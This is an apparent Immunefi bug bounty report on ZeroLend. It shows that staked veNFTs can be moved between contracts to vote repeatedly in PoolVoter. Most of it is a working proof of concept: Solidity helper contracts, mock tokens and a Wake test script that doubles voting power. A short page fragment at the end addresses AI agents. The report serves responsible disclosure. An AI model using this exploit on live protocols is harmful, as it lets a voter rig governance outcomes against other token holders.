# 29211 - \[SC - Critical] Voting manipulation cause by the possibility to... Submitted on Mar 10th 2024 at 19:37:05 UTC by @stiglitz for [Boost | ZeroLend](https://immunefi.com/bounty/zerolend-boost/) Report ID: #29211 Report type: Smart Contract Report severity: Critical Target: Impacts: * Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results ## Description ## Brief/Intro Users stake their veNFT into the contract `OmnichainStaking`; as a result, ERC20 token representing their staking power will be minted. These ERC20 do not allow transfers, which is crucial because in the `PoolVoter` contract, the balance of the staking token is accessed. ``` uint256 _weight = staking.balanceOf(who); ``` The problem is that backing veNFT token can be easily transferred. This means that user `A` stakes `X` amount of underlying token to mint `veNFT` in the Locker contract. NFT is then sent to the `OmnichainStaking` contract which triggers `onERC721Received` function, and user `A` gets `Y` amount of voting ERC20 token. User `A` votes in `PoolVoter`, unstake `veNFT` from `OmnichainStaking` contract, sends it to `B`. `B` sends NFT to the `OmnichainStaking` and get `Y` of voting tokens. Then `B` votes. This way we doubled the voting power! ## Vulnerability Details Detailed description with steps in PoC. Actions and state changes are printed out. It is also possible to print call\_trace, emitted events etc. ## Impact Details Vote manipulation ## References Add any relevant links to documentation or code ## Proof of Concept ### X contract ```solidity import {ILocker} from "../contracts/interfaces/ILocker.sol"; import {OmnichainStaking} from "../contracts/locker/OmnichainStaking.sol"; import {PoolVoter} from "../contracts/voter/PoolVoter.sol"; contract X { ILocker public lpLocker; OmnichainStaking public staking; PoolVoter public poolVoter; constructor(address _lpLocker, address _staking, address _poolVoter){ lpLocker = ILocker(_lpLocker); staking = OmnichainStaking(_staking); poolVoter = PoolVoter(_poolVoter); } function onERC721Received( address, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { //lpLocker.safeTransferFrom(address(this), lpLocker, tokenId); return this.onERC721Received.selector; } // Unstake from omnichain staking function unstakeLP(uint256 tokenId) external { staking.unstakeLP(tokenId); } // This allows me to send anywhere I want function send(address to, uint256 tokenId) external { lpLocker.safeTransferFrom(address(this), to, tokenId); } function vote(address[] calldata _poolVote,uint256[] calldata _weights) external { poolVoter.vote(_poolVote, _weights); } } ``` ### Y contract ```solidity import {ILocker} from "../contracts/interfaces/ILocker.sol"; import {OmnichainStaking} from "../contracts/locker/OmnichainStaking.sol"; import {PoolVoter} from "../contracts/voter/PoolVoter.sol"; contract Y { ILocker public lpLocker; OmnichainStaking public staking; PoolVoter public poolVoter; constructor(address _lpLocker, address _staking, address _poolVoter){ lpLocker = ILocker(_lpLocker); staking = OmnichainStaking(_staking); poolVoter = PoolVoter(_poolVoter); } function onERC721Received( address, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { //lpLocker.safeTransferFrom(address(this), lpLocker, tokenId); return this.onERC721Received.selector; } // Unstake from omnichain staking function unstakeLP(uint256 tokenId) external { staking.unstakeLP(tokenId); } // This allows me to send anywhere I want function send(address to, uint256 tokenId) external { lpLocker.safeTransferFrom(address(this), to, tokenId); } function vote(address[] calldata _poolVote,uint256[] calldata _weights) external { poolVoter.vote(_poolVote, _weights); } } ``` ### Ve mock token ```solidity pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // Example class - a mock class derived from ERC20 contract VeToken is ERC20 { constructor(uint256 initialBalance) ERC20("Ve Token", "VT") public { _mint(msg.sender, initialBalance); } } ``` ### Re mock token ```solidity pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // Example class - a mock class derived from ERC20 contract ReToken is ERC20 { constructor(uint256 initialBalance) ERC20("Re Token", "RT") public { _mint(msg.sender, initialBalance); } } ``` ### Test ```python from wake.testing import * from pytypes.openzeppelin.contracts.proxy.ERC1967.ERC1967Proxy import ERC1967Proxy from pytypes.contracts.locker.OmnichainStaking import OmnichainStaking from pytypes.contracts.locker.LockerToken import LockerToken from pytypes.contracts.voter.PoolVoter import PoolVoter from pytypes.contracts.locker.LockerLP import LockerLP from pytypes.tests.ReToken import ReToken from pytypes.tests.VeToken import VeToken from pytypes.tests.X import X from pytypes.tests.Y import Y ''' Test written in Wake testing framework (https://getwake.io/) aka boosted brownie Docs: https://ackeeblockchain.com/wake/docs/latest/ Repo: https://github.com/Ackee-Blockchain/wake How to run this test: Install wake $ pip install eth-wake To have actual anvil version $ foundryup After installing project dependencies initialize wake It will create `tests` folder and process foundry remappings if any $ wake up Generate python representation of contracts $ wake init pytypes Go to wake `tests` folder and paste this code in tests/test_default.py and run $ wake test tests/test_default.py If you are interested I would be happy to teach Wake and provide complete complete protocol deployment with tests (and fuzz testing) contact telegram: @bem1c ''' def deploy_with_proxy(contract): impl = contract.deploy() proxy = ERC1967Proxy.deploy(impl, b"") return contract(proxy) # Print failing tx call trace def revert_handler(e: TransactionRevertedError): if e.tx is not None: print(e.tx.call_trace) @default_chain.connect() @on_revert(revert_handler) def test_default(): # ======================DEPLOY========================= # random = default_chain.accounts[9] owner = default_chain.accounts[0] bob = default_chain.accounts[1] omnichain = deploy_with_proxy(OmnichainStaking) locker = deploy_with_proxy(LockerLP) pool_voter = deploy_with_proxy(PoolVoter) # Two mock tokens - underlying for Locker and reward for PoolVoter ve_token = VeToken.deploy(100*10**18, from_=bob) re_token = ReToken.deploy(100*10**18, from_=bob) omnichain.init(random, random, locker, from_=owner) locker.init(ve_token, omnichain, random, from_=owner) pool_voter.init(omnichain, re_token, from_=owner) # Deploy two contracts with the ability to receive and send ERC721 # Both controlled by Bob x = X.deploy(locker, omnichain, pool_voter, from_ = bob) y = Y.deploy(locker, omnichain, pool_voter, from_ = bob) # Random addresse for gauge and asset are OK now gauge = default_chain.accounts[2] asset = default_chain.accounts[3] pool_voter.registerGauge(asset, gauge, from_=owner) # ===================================================== # # Lock time two_weeks = 60*60*24*14 # Amount amount = 10*10**18 # Bob approve locker contract ve_token.approve(locker, amount, from_=bob) # Bob creates lock for X locker.createLockFor(amount, two_weeks,x ,False, from_=bob) # Read X's token id toke_id = locker.tokenOfOwnerByIndex(x,0) # Send NFT to omnichain staking x.send(omnichain, toke_id, from_=bob) print('X transfer --> omnichain') # X votes in PoolVoter poolVote = [asset] weights = [1] print('X vote') x.vote(poolVote, weights, from_=bob) print(f' :: pool_voter.usedWeights(x) == {pool_voter.usedWeights(x)}') # HERE IS THE PROOF THAT I CAN MOVE NFTS SO I CAN MOVE VOTING POWER SO I CAN MANIPULATE VOTING # Just X and Y contracts were created so I can double the voting power # but in generel `number of contracts * voting power` print(f' :: Staking balance X: {omnichain.balanceOf(x)}') # Unstake from staking x.unstakeLP(toke_id, from_=bob) print('X unstake from omnichain') print(f' :: Staking balance X : {omnichain.balanceOf(x)}') print('X transfer --> Y') # Send from X to Y x.send(y, toke_id, from_=bob) print(f' :: Staking balance X: {omnichain.balanceOf(x)}') print(f' :: Staking balance Y: {omnichain.balanceOf(y)}') print('Y transfer --> omnichain') # Send from Y to omnichain y.send(omnichain, toke_id, from_=bob) # Y votes in PoolVoter y.vote(poolVote, weights, from_=bob) print('Y vote') print(f' :: pool_voter.usedWeights(y) == {pool_voter.usedWeights(y)}') print(f' :: Staking balance X: {omnichain.balanceOf(x)}') print(f' :: Staking balance Y: {omnichain.balanceOf(y)}') # How to print call trace example # tx = y.vote(poolVote, weights, from_=bob) # print(tx.call_trace) # ===================================================== # ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. 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